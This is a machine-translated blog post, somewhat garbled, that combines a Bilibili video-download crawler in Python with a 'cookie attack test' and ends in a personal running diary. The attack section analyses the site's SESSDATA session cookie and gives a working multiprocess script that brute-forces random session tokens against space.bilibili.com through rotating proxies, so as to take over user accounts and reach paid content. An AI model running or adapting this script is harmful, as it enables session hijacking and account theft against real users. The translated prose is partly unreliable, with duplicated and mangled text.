    # pd.concat(dfs).to_csv('episode/random.csv', sep='\t', header=True, index=False)
    #

    args.random_strategy = False
    N = 2000
    for i in range(1732, N):
        print(i)
        df = run(args, 'episode/ai_%04d.csv' % (i))
        # df.loc[:, 'episode'] = i
        # dfs.append(df)
    # pd.concat(dfs).to_csv('episode/random.csv', sep='\t', header=True, index=False)

In my opinion, D Q N \rm DQN For DQN, the challenge is how to understand the coding status and actions of complex games, maybe too superficial, and have time to understand them well GitHub@Deep-Reinforcement-Learning-Algorithms-with-PyTorch.

Part Two B \rm B B-Station Video Crawling and C o o k i e \rm Cookie Cookie Attack Test

(1) B \rm B B-Station Video Download Script

This script might be of interest to some:

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import os
import re
import json
import requests
from tqdm import tqdm

class BiliBiliCrawler(object):
	
	def __init__(self) -> None:				
		self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
		self.video_webpage_link = 'https://www.bilibili.com/video/{}'.format
		self.video_detail_api = 'https://api.bilibili.com/x/player/pagelist?bvid={}&jsonp=jsonp'.format						
		self.video_playurl_api = 'https://api.bilibili.com/x/player/playurl?cid={}&bvid={}&qn=64&type=&otype=json'.format	
		self.episode_playurl_api = 'https://api.bilibili.com/pgc/player/web/playurl?ep_id={}&jsonp=jsonp'.format			
		self.episode_webpage_link = 'https://www.bilibili.com/bangumi/play/ep{}'.format
		self.anime_webpage_link = 'https://www.bilibili.com/bangumi/play/ss{}'.format
		self.chunk_size = 1024
		self.regexs = {
			'host': 'https://(.*\.com)',
			'episode_name': r'meta name="keywords" content="(.*?)"',
			'initial_state': r'<script>window.__INITIAL_STATE__=(.*?);',
			'playinfo': r'<script>window.*?__playinfo__=(.*?)</script>',	
		}

	def easy_download_video(self, bvid, save_path=None) -> bool:
		"""Tricky method with available api"""
		
		# Request for detail information of video
		response = requests.get(self.video_detail_api(bvid), headers={'User-Agent': self.user_agent})
		json_response = response.json()
		
		cid = json_response['data'][0]['cid']
		video_title = json_response['data'][0]['part']
		if save_path is None:
			save_path = f'{video_title}.mp4'		

		print(f'Video title: {video_title}')
		
		# Request for playurl and size of video
		response = requests.get(self.video_playurl_api(cid, bvid), headers={'User-Agent': self.user_agent})
		json_response = response.json()
		video_playurl = json_response['data']['durl'][0]['url']
		# video_playurl = json_response['data']['durl'][0]['backup_url'][0]
		video_size = json_response['data']['durl'][0]['size']
		total = video_size // self.chunk_size

		print(f'Video size: {video_size}')
		
		# Download video
		headers = {
			'User-Agent': self.user_agent,
			'Origin'	: 'https://www.bilibili.com',
			'Referer'	: 'https://www.bilibili.com',			
		}
		headers['Host'] = re.findall(self.regexs['host'], video_playurl, re.I)[0]
		headers['Range'] = f'bytes=0-{video_size}'
		response = requests.get(video_playurl, headers=headers, stream=True, verify=False)
		tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download process', total=total)
		with open(save_path, 'wb') as f:
			for byte in tqdm_bar:
				f.write(byte)
		return True

	def easy_download_episode(self, epid, save_path=None) -> bool:
		"""Tricky method with available api"""
		
		# Request for playurl and size of episode
		response = requests.get(self.episode_playurl_api(epid))
		json_response = response.json()
		# episode_playurl = json_response['result']['durl'][0]['url']
		episode_playurl = json_response['result']['durl'][0]['backup_url'][0]
		episode_size = json_response['result']['durl'][0]['size']
		total = episode_size // self.chunk_size

		print(f'Episode size: {episode_size}')
		
		# Download episode
		headers = {
			'User-Agent': self.user_agent,
			'Origin'	: 'https://www.bilibili.com',
			'Referer'	: 'https://www.bilibili.com',			
		}
		headers['Host'] = re.findall(self.regexs['host'], episode_playurl, re.I)[0]
		headers['Range'] = f'bytes=0-{episode_size}'
		response = requests.get(episode_playurl, headers=headers, stream=True, verify=False)
		tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download process', total=total)
		if save_path is None:
			save_path = f'ep{epid}.mp4'
		with open(save_path, 'wb') as f:
			for byte in tqdm_bar:
				f.write(byte)
		return True

	def download(self, bvid, video_save_path=None, audio_save_path=None) -> dict:
		"""General method by parsing page source"""
		
		if video_save_path is None:
			video_save_path = f'{bvid}.m4s'
		if audio_save_path is None:
			audio_save_path = f'{bvid}.mp3'
		
		common_headers = {
			'Accept'			: '*/*',
			'Accept-encoding'	: 'gzip, deflate, br',
			'Accept-language'	: 'zh-CN,zh;q=0.9,en;q=0.8',
			'Cache-Control'		: 'no-cache',
			'Origin'			: 'https://www.bilibili.com',
			'Pragma'			: 'no-cache',
			'Host'				: 'www.bilibili.com',
			'User-Agent'		: self.user_agent,
		}

		# In fact we only need bvid
		# Each episode of an anime also has a bvid and a corresponding bvid-URL which is redirected to another episode link
		# e.g. https://www.bilibili.com/video/BV1rK4y1b7TZ is redirected to https://www.bilibili.com/bangumi/play/ep322903
		response = requests.get(self.video_webpage_link(bvid), headers=common_headers)
		html = response.text
		playinfos = re.findall(self.regexs['playinfo'], html, re.S)
		if not playinfos:
			raise Exception(f'No playinfo found in bvid {bvid}\nPerhaps VIP required')
		playinfo = json.loads(playinfos[0])
		
		# There exists four different URLs with observations as below
		# `baseUrl` is the same as `base_url` with string value
		# `backupUrl` is the same as `backup_url` with array value
		# Here hard code is employed to select playurl
		def _select_video_playurl(_videoinfo):
			if 'backupUrl' in _videoinfo:
				return _videoinfo['backupUrl'][-1]
			if 'backup_url' in _videoinfo:
				return _videoinfo['backup_url'][-1]
			if 'baseUrl' in _videoinfo:
				return _videoinfo['baseUrl']
			if 'base_url' in _videoinfo:
				return _videoinfo['base_url']	
			raise Exception(f'No video URL found\n{_videoinfo}')	
			
		def _select_audio_playurl(_audioinfo):
			if 'backupUrl' in _audioinfo:
				return _audioinfo['backupUrl'][-1]
			if 'backup_url' in _audioinfo:
				return _audioinfo['backup_url'][-1]
			if 'baseUrl' in _audioinfo:
				return _audioinfo['baseUrl']
			if 'base_url' in _audioinfo:
				return _audioinfo['base_url']
			raise Exception(f'No audio URL found\n{_audioinfo}')
		
		# with open(f'playinfo-{bvid}.js', 'w') as f:
			# json.dump(playinfo, f)

		if 'durl' in playinfo['data']:
			video_playurl = playinfo['data']['durl'][0]['url']
			# video_playurl = playinfo['data']['durl'][0]['backup_url'][1]
			print(video_playurl)
			video_size = playinfo['data']['durl'][0]['size']
			total = video_size // self.chunk_size
			print(f'Video size: {video_size}')
			headers = {
				'User-Agent': self.user_agent,
				'Origin'	: 'https://www.bilibili.com',
				'Referer'	: 'https://www.bilibili.com',			
			}
			headers['Host'] = re.findall(self.regexs['host'], video_playurl, re.I)[0]
			headers['Range'] = f'bytes=0-{video_size}'
			# headers['Range'] = f'bytes={video_size + 1}-{video_size + video_size + 1}'
			response = requests.get(video_playurl, headers=headers, stream=True, verify=False)
			tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download process', total=total)
			with open(video_save_path, 'wb') as f:
				for byte in tqdm_bar:
					f.write(byte)
			return True

		elif 'dash' in playinfo['data']:
			videoinfo = playinfo['data']['dash']['video'][0]
			audioinfo = playinfo['data']['dash']['audio'][0]
			video_playurl = _select_video_playurl(videoinfo)
			audio_playurl = _select_audio_playurl(audioinfo)

		else:
			raise Exception(f'No data found in playinfo\n{playinfo}')

		# First make a fake request to get the `Content-Range` params in response headers
		fake_headers = {
			'Accept'			: '*/*',
			'Accept-Encoding'	: 'identity',
			'Accept-Language'	: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding'	: 'gzip, deflate, br',
			'Cache-Control'		: 'no-cache',
			'Origin'			: 'https://www.bilibili.com',
			'Pragma'			: 'no-cache',
			'Range'				: 'bytes=0-299',
			'Referer'			: self.video_webpage_link(bvid),
			'User-Agent'		: self.user_agent,
			'Connection'		: 'keep-alive',
		}
		response = requests.get(video_playurl, headers=fake_headers, stream=True)
		video_size = int(response.headers['Content-Range'].split('/')[-1])
		total = video_size // self.chunk_size
		
		# Next make a real request to download full video
		real_headers = {
			'Accept'			: '*/*',
			'accept-encoding'	: 'identity',
			'Accept-Language'	: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding'	: 'gzip, deflate, br',
			'cache-control'		: 'no-cache',
			'Origin'			: 'https://www.bilibili.com',
			'pragma'			: 'no-cache',
			'Range'				: f'bytes=0-{video_size}',
			'Referer'			: self.video_webpage_link(bvid),
			'User-Agent'		: self.user_agent,
			'Connection'		: 'keep-alive',
		}
		response = requests.get(video_playurl, headers=real_headers, stream=True)
		tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download video', total=total)
		with open(video_save_path, 'wb') as f:
			for byte in tqdm_bar:
				f.write(byte)
				
		# The same way for downloading audio
		response = requests.get(audio_playurl, headers=fake_headers, stream=True)
		audio_size = int(response.headers['Content-Range'].split('/')[-1])
		total = audio_size // self.chunk_size // 2
		
		# Confusingly downloading full audio at one time is forbidden
		# We have to download audio in two parts
		with open(audio_save_path, 'wb') as f:
			audio_part = 0
			for (_from, _to) in [[0, audio_size // 2], [audio_size // 2 + 1, audio_size]]:
				headers = {
					'Accept': '*/*',
					'Accept-Encoding': 'identity',
					'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
					'Accept-Encoding': 'gzip, deflate, br',
					'Cache-Control': 'no-cache',
					'Origin': 'https://www.bilibili.com',
					'Pragma': 'no-cache',
					'Range': f'bytes={_from}-{_to}',
					'Referer': self.video_webpage_link(bvid),
					'User-Agent': self.user_agent,
					'Connection': 'keep-alive',
				}
				audio_part += 1
				response = requests.get(audio_playurl, headers=headers, stream=True)
				tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc=f'Download audio part{audio_part}', total=total)
				for byte in tqdm_bar:
					f.write(byte)
		return True

	def easy_download(self, url) -> bool:
		"""
		Download with page URL as below:
		>>> url = 'https://www.bilibili.com/video/BV1jf4y1h73r'
		>>> url = 'https://www.bilibili.com/bangumi/play/ep399420'
		"""

		headers = {
			'Accept': '*/*',
			'Accept-Encoding': 'gzip, deflate, br',
			'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
			'Cache-Control': 'no-cache',
			'Origin': 'https://www.bilibili.com',
			'Pragma': 'no-cache',
			'Host': 'www.bilibili.com',
			'User-Agent': self.user_agent,
		}		
		response = requests.get(url, headers=headers)
		html = response.text
		initial_states = re.findall(self.regexs['initial_state'], html, re.S)
		if not initial_states:
			raise Exception('No initial states found in page source')
		initial_state = json.loads(initial_states[0])
		
		# Download anime with several episodes
		episode_list = initial_state.get('epList')
		if episode_list is not None:
			name = re.findall(self.regexs['episode_name'], html, re.S)[0].strip()
			for episode in episode_list:
				if episode['badge'] != 'Member':							 # No VIP required
					if not os.path.exists(name):
						os.mkdir(name)
					self.download(
						bvid=str(episode['bvid']),
						video_save_path=os.path.join(name, episode['titleFormat'] + episode['longTitle'] + '.m4s'),
						audio_save_path=os.path.join(name, episode['titleFormat'] + episode['longTitle'] + '.mp3'),
					)
				else:													 # Unable to download VIP anime
					continue
		
		# Download common videos
		else:
			video_data = initial_state['videoData']
			name = video_data['tname'].strip()
			if not os.path.exists(name):
				os.mkdir(name)
			self.download(
				bvid=str(episode['bvid']),
				video_save_path=os.path.join(name, video_data['title'] + '.m4s'),
				audio_save_path=os.path.join(name, video_data['title'] + '.mp3'),
			)
		return True

if __name__ == '__main__':
	
	bb = BiliBiliCrawler()
	
	# bb.easy_download_video('BV14T4y1u7ST', 'temp/BV14T4y1u7ST.mp4')
	# bb.easy_download_video('BV1z5411W7tX', 'temp/BV1z5411W7tX.mp4')
	
	# bb.easy_download_episode('199933', 'temp/ep199933.mp4')
	# bb.easy_download_episode('321808', 'temp/ep321808.mp4')
	
	# bb.download('BV1PT4y137CA')
	# bb.download('BV14T4y1u7ST')
	
	# bb.easy_download('https://www.bilibili.com/video/BV1jf4y1h73r')
	# bb.easy_download('https://www.bilibili.com/bangumi/play/ep399420')
	# bb.easy_download('https://www.bilibili.com/bangumi/play/ss12548/')

Also create a new one in the directory where the script is located 4 4 Four empty folders: t e m p , l o g g i n g , v i d e o , a u d i o \rm temp,logging,video,audio temp,logging,video,audio

The last lines of the code commented above are tests of several different crawling methods in the BiliBiliCrawler function. I don't want to go into more details about crawling. This is exactly what crawlers do. Practice makes life. Key points are recorded:

  1. Easy_download_videofunction: directly available through video B V \rm BV BV number to download, the download results are audio and video composite . m p 4 \rm .mp4 .mp4 file, this method does not need to analyze the page source code, all the information comes from the request B \rm B Station B provides the interface, the most important of which is self.video_playurl_api, which provides video source links and video size. This package actually needs some luck to catch. It is recommended to go to the browser's console to listen X H R \rm XHR XHR, which is not easy to leak. Then the essence of downloading a video is simply to add the Range parameter in the request header, which is the byte size of the video.

  2. easy_download_episode function: used to download drama, the idea is basically the same as easy_download_video s, received parameters are drama e p \rm ep ep, someone may not know e p \rm ep What does the EP look like, for example https://www.bilibili.com/bangumi/play/ep250984 It is Feng Ling Yu Xiu. e p \rm ep The ep number is 250984 250984 250984 (Push "Feng Ling Yu Xiu" really fragrant, Guoman finally started to make lilies, at least very comfortable to see). The disadvantage of this method is that only one episode can be downloaded. If you want to download the whole article, suggest using the last method, the downloaded result is also a good synthesis of audio and video . m p 4 \rm .mp4 .mp4 file.

  3. download function: This is interesting. B B All the videos on Station B are actually available B V \rm BV BV, even for pantomimes. Visiting www.bilibili.com/video/BV1PT4y137CA, for example, automatically redirects to Detective Conan, so you can give one directly for use only B V \rm BV BV can download all the methods, but the logic of this method is different from the two above methods, which use to analyze the page source code:

    • Find a band anywhere B V \rm BV BV link video, view page source code, search playinfo from inside and you will see the following information (video link)https://www.bilibili.com/video/BV1nx411F7Jf, Divine Work A M D \rm AMD AMD push:
    • Then you can find everything you want from this source code. The video source is in backupUrl, backup_url, baseUrl, base_url. In fact, all four links can be used to download. It is recommended to take the first backupUrl, which feels relatively stable.
  4. easy_download is essentially an extension of the download function. You only need to link the websites of any video to download it. Note that if you give a link to a play, you can download all the episodes directly, so this method is recommended. The disadvantage is that the downloaded video is still separate from the audio.

    In addition, the detail is that audio cannot be downloaded at one time and must be downloaded in two segments.

(2) B \rm B Station B C o o k i e Cookie Cookie Attack Test

Some people may ask, then what should the Congress members do, which is also the author's very interesting question, after a series of research, the key problem is found to be C o o k i e \rm Cookie The SESSDATA field in the Cookie.

How was this discovered? I want to play it often B \rm B Friends of Station B must be familiar with the following user reviews:

B \rm B The Handsome in Station B👉 https://space.bilibili.com/

Then click in and you will find your own account. Apparently there are no fields related to your identity in this link, so the probability that you will be directed to your account is C o o k i e \rm Cookie Cookie. Simple listening will reveal this C o o k i e \rm Cookie Cookie content:
I wonder if I want to go or if I want to C o o k i e \rm Cookie Cookie calls a mosaic. Obviously, if you take this cookie with you, you should have access to your home page. Otherwise, you will only jump to the login (if you don't, access) https://space.bilibili.com/ Automatically jumps to the login page).

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import requests
from bs4 import BeautifulSoup

def _cookie_to_string(_cookies):
	string = ''
	for key, value in _cookies.items():
		string += '{}={}; '.format(key, value)
	return string.strip()

cookies = {
	"_uuid": "734643A3-58D0-49AD-7C14-D354884C516738397infoc",
	"bili_jct": "d57a576f60b82220175d3ffc571edbef",
	"buvid_fp": "A0FE0996-3A5D-4E2A-A4B0-AE327ACD7B9A148826infoc",
	"buvid_fp_plain": "9ECE9F3E-FE9A-4827-A49D-C1AB0E94F854167644infoc",
	"buvid3": "F2EB0177-2BDF-4BA9-9A87-6A399AC553E4167627infoc",
	"DedeUserID": "130321232",
	"DedeUserID__ckMd5": "42d02c72aa29553d",
	"fingerprint": "9307d54681dc236c513a4b0f96bf8388",
	"innersign": "0",
	"PVID": "1",
	"SESSDATA": "",
	"sid": "7nffa1lf"
}

headers = {
	'Connection': 'keep-alive',
	'Cookie': _cookie_to_string(cookies),
	'Host': 'space.bilibili.com',
	'TE': 'trailers',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
}

r = requests.get('https://space.bilibili.com', headers=headers)
html = r.text
soup = BeautifulSoup(html, 'lxml')
print(soup.find('title').string)

Run the code above to see that the output is the author's account name.

What don't you see? That's right, because the author stealthily deleted the value of SESSDATA. Further, the author can make sure that you, as long as you leave SESSDATA, other 11 11 11 Delete them all, and you can still output the author's account name. You can try with your own account.

Then SESSDATA is enough, not at all without it, which means that SESSDATA is the whole thing to verify, and the author randomly generates a similar one in the form of SESSDATA values:

dcb500d8,1644888158,520eb*81

This 1644888158 in the middle of this SESSDATA is obviously a timestamp, and further package capture will find that it is the invalidation time of SESSDATA, i.e. C o o k i e \rm Cookie Cookie expiration time, almost 180 180 180 days, and the last three I tried were almost all *81, so the random part was left 13 13 Of the 13-bit hexadecimal bytes, only 1 3 16 ≈ 6.654 × 1 0 17 ≈ 2 59 13^{16}\approx6.654×10^{17}\approx 2^{59} 1316_6.654 *1017_259, so if I finalize a timestamp and then enumerate all the possibilities, as long as someone has logged in on that timestamp, I can access it https://space.bilibili.com Visit his home page and if he is a big member, just add SESSDATA to it C o o k i e \rm Cookie Cookie s are ready to download paid content.

The idea is to randomly generate an ESSDATA in the format dcb500d8,1644888158,520eb*81 to access SESSDATA. A simple attack script is as follows:

  • p r o x y . p y \rm proxy.py proxy.py
# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import os
import sys
import time
import random
import requests
from bs4 import BeautifulSoup
from multiprocessing import Process, Pool, Queue

from pprint import pprint

def cookie_to_string(cookies: dict) -> str:
	string = ''
	for key, value in cookies.items():
		string += '{}={}; '.format(key, value)
	return string.strip()


def random_sessdata():
	chars = ['a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
	nums = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
	return f'{"".join([random.choice(chars) for _ in range(8)])},1644888158,{"".join([random.choice(chars) for _ in range(5)])}*81'


def easy_requests(url: str, headers: dict, proxies: dict) -> str:
	try:
		if proxies is None:
			response = requests.get(url, headers=headers, timeout=30)
		else:
			response = requests.get(url, headers=headers, proxies=proxies, timeout=30)
		html = response.text
		soup = BeautifulSoup(html, 'lxml')
		try: 
			title = str(soup.find('title').string).encode('ISO-8859-1').decode('utf8')
		except:
			title = str(soup.find('title').string)
		return title, 0, time.strftime('%Y-%m-%d %H:%M:%S')
	except Exception as e: 
		return e, 1, time.strftime('%Y-%m-%d %H:%M:%S')

def _attack(url: str, queue: Queue, pid: str) -> None:
	if queue is None:
		while True:
			cookies = {
				'SESSDATA': random_sessdata(),
			}
			headers = {
				'Connection': 'keep-alive',
				'Cookie': cookie_to_string(cookies),
				'Host': 'space.bilibili.com',
				'TE': 'trailers',
				'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24',
			}	
			response, flag, timestamp = easy_requests(url, headers, proxies=None)
			with open(f'logging/{pid}.txt', 'a', encoding='utf8') as f:
				f.write(f'{timestamp}\t{cookies["SESSDATA"]}\t{headers["User-Agent"]}\tNone\t{response}\n')	
	else:
		proxy = queue.get()
		while True:
			proxies = {'https': 'https://{}'.format(proxy)}
			cookies = {
				'SESSDATA': random_sessdata(),
			}
			headers = {
				'Connection': 'keep-alive',
				'Cookie': cookie_to_string(cookies),
				'Host': 'space.bilibili.com',
				'TE': 'trailers',
				'User-Agent': generate_user_agent('../user_agent_list.txt'),
			}
			response, flag, timestamp = easy_requests(url, headers, proxies)
			if flag: 
				proxy = queue.get()
			with open(f'logging/{pid}.txt', 'a', encoding='utf8') as f:
				f.write(f'{timestamp}\t{cookies["SESSDATA"]}\t{headers["User-Agent"]}\t{proxy}\t{response}\n')

def attack(target_url = 'https://space.bilibili.com') -> None:
	processes = []
	params = {
		'url': target_url,
		'queue': None,
		'pid': str(1).zfill(3),
	}
	with open(f'logging/{params["pid"]}.txt', 'w', encoding='utf8') as f:
		pass	
	processes.append(Process(target=_attack, kwargs=params))

	for process in processes:
		process.start()
	for process in processes:
		process.join()

	time.sleep(1000)
	for process in processes:
		process.terminate()

if __name__ == '__main__':
	attack()

unfortunately 2 59 2^{59} 259 is still too big for a PC and has not crashed into a viable SESSDATA for more than a dozen days or even your own. The good news is that this interface is basically not sealed. I P \rm IP IP, because the author will try to see if his SESSDATA can still be accessed effectively at regular intervals and find that it is always valid, so B \rm B B There seems to be no defense against this interface, there will always be people who can 2 59 2^{59} 259 After all the tests, there is no time stamp on which only the author has logged in. That's too lonely.

Postnote

The happiest thing in the summer was that my mother changed her attitude towards running with me after riding a bike for a run. Before, she had nothing to say to me. She thought I was running black and thin, just like a monkey. Maybe she was really touched by me this time.

At present, the author has signed up for two and a half horses, one is a marathon held in Zhoushan, Zhejiang, on November 21. This one does not need drawing lots, it happened to be reported at 10 o'clock this morning, and it was successfully won. The other is the Shaoxing Marathon, which was reported in the last few days. This requires drawing lots. The author mainly thinks that the winning rate is too low, and it is definitely harder for him to win the first run, so he simply grabbed the Zhoushan and pulled down.In case Shaoxing is in the middle, then again, if you are running in either race, you really can't afford to pay for a lesson.

On the 10th day, I went to Zhenjiang South by car and finally returned to my school. When I saw the refurbished playground, the dormitory went to the playground for a run without pulling back the suitcase. It was really smooth. Then it took me 17 minutes and 30 seconds to measure 4km in the evening, barely reaching the level in April and May. But my endurance has been helpless. I haven't run more than 10km in the whole two months, and now even 10kmNo, I can't. But I'm not too panic, because it's almost the same from school. After half a month, it's almost at its peak, so I'm not in a hurry. Tonight, I went out 3 km against a typhoon, and the pleasure of walking on the pond returned. My shoes, clothes and hair were all wet and overwhelming.

I'm glad that I finally got my results in school before the start of school. There are six major courses, four 4.0 and two 3.7. I think the wind waves in April and May caused me to study completely unintentionally. I feel hopeless. At first I wanted to compete with Liu Tianhao for results. Later, more and more Buddhist departments have achieved good results. Moreover, when I started school, I searched for my own work in Baidu paper academy, it was not zero-output at last.Waste people.

There's nothing to complain about now, after all, the five-year journey has just passed a year, leaving me endless space to operate. Although I know that W has found a new love, I still have a dream at night. It may not be so easy to forget all the people and things in the past, so I have to find other points of concentration. At least at present, my greatest desire is to finish the race, which may be the end of my life to now.The most persistent thing.

Finally, meet me at the Zhoushan Marathon, my friend.

Run forever, young or not.

Tags: Python Machine Learning crawler

Posted on Mon, 13 Sep 2021 12:40:06 -0400 by splitinfo